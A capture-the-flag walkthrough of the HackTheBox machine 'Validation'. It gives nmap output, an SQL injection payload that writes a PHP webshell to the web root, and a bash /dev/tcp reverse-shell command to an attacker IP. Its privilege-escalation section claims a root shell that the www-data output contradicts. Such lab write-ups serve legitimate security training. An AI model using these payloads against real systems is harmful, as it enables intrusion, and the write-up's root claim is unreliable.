Validation

Platform: HackTheBox | Difficulty: Easy | OS: Ubuntu Author: D3v0o0Nu11 | Date: 2026-02-10 | Status: Solved

Summary

Walkthrough of the HackTheBox machine Validation (Ubuntu, attack surface: Apache httpd 2.4.48 ((Debian)) (80), OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) (22), nginx (4566), upnp (5000)). Foothold via the vulnerable entry point; direct root access from the foothold. Both flags captured and redacted.

Recon

Port scan

 bash read-only • copy allowed Copy
nmap -p- -sVC 10.10.11.116 --min-rate 1000

Enumeration highlights

• Detected OS: Ubuntu.
• Open services: avt-profile-1 (5004), avt-profile-2 (5005), commplex-link (5001), filemaker (5003), http (4566), http (80), http (8080), rfe (5002), ssh (22), synapsis-edge (5008), upnp (5000), wsm-server (5006), wsm-server-ssl (5007).
• Scan used: nmap -p- -sVC 10.10.11.116 --min-rate 1000.

Foothold

Vulnerability / Misconfiguration

┌──(D3v0o0Nu11㉿htb)-[~]
└─$ nmap -p- -sVC 10.10.11.116 --min-rate 1000
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-14 09:27 PDT
Stats: 0:00:15 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 86.10% done; ETC: 09:27 (0:00:02 remaining)
Stats: 0:00:15 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 87.80% done; ETC: 09:27 (0:00:02 remaining)
Nmap scan report for 10.10.11.116
Host is up (0.041s latency).
Not shown: 65522 closed tcp ports (conn-refused)
PORT     STATE    SERVICE        VERSION
22/tcp   open     ssh            OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d8f5efd2d3f98dadc6cf24859426ef7a (RSA)
|   256 463d6bcba819eb6ad06886948673e172 (ECDSA)
|_  256 7032d7e377c14acf472adee5087af87a (ED25519)
80/tcp   open     http           Apache httpd 2.4.48 ((Debian))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.48 (Debian)
4566/tcp open     http           nginx
|_http-title: 403 Forbidden
5000/tcp filtered upnp
5001/tcp filtered commplex-link
5002/tcp filtered rfe
5003/tcp filtered filemaker
5004/tcp filtered avt-profile-1
5005/tcp filtered avt-profile-2
5006/tcp filtered wsm-server
5007/tcp filtered wsm-server-ssl
5008/tcp filtered synapsis-edge
8080/tcp open     http           nginx
|_http-title: 502 Bad Gateway
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.37 seconds

1. Based from the nmap result, our interest should be the web application and the ssh login. But anyway the only http port I can access is por 80.

2. Intercepting the request in burpsuite, it seems we can change the country name to whatever we want.

3. Long story short, it's vulnerable to SQLi.

Change the Country parameter to quote (').

1. Great! Now we need to identify how many column that can be returned to us.

USING ORDER BY

1. Got error, when sending 2. It means we can only return 1 column.

2. Based from the wappalyzer, we knew that the webapp is using PHP.

3. Great, sqli vuln in php-based webapp should allows us to drop a webshell.

PAYLOAD

 txt read-only • copy allowed Copy
' UNION SELECT "<?php SYSTEM($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'-- -

┌──(D3v0o0Nu11㉿htb)-[~]
└─$ curl http://validation.htb/shell.php?cmd=id                                                                       
uid=33(www-data) gid=33(www-data) groups=33(www-data)

1. Great, let's do reverse shell.

REVSHELL

curl http://validation.htb/shell.php --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/10.10.16.20/1337 0>&1"'

1. Let's change from SYSTEM to REQUEST. So send our webshell first, then run the revshell again.

' UNION SELECT "<?php SYSTEM($_REQUEST['cmd']); ?>" INTO OUTFILE '/var/www/html/shellv2.php'-- -

curl http://validation.htb/shellv2.php --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/10.10.16.20/1337 0>&1"'

1. Got shell!

Proof

User flag: REDACTED

Privilege Escalation

User -> Root/Admin

The exploit provided a shell running with elevated privileges directly, so no separate privilege escalation was required.

Root flag: REDACTED

Flags

Lessons Learned

1. SQLi Vuln leads to drop webshell allowance.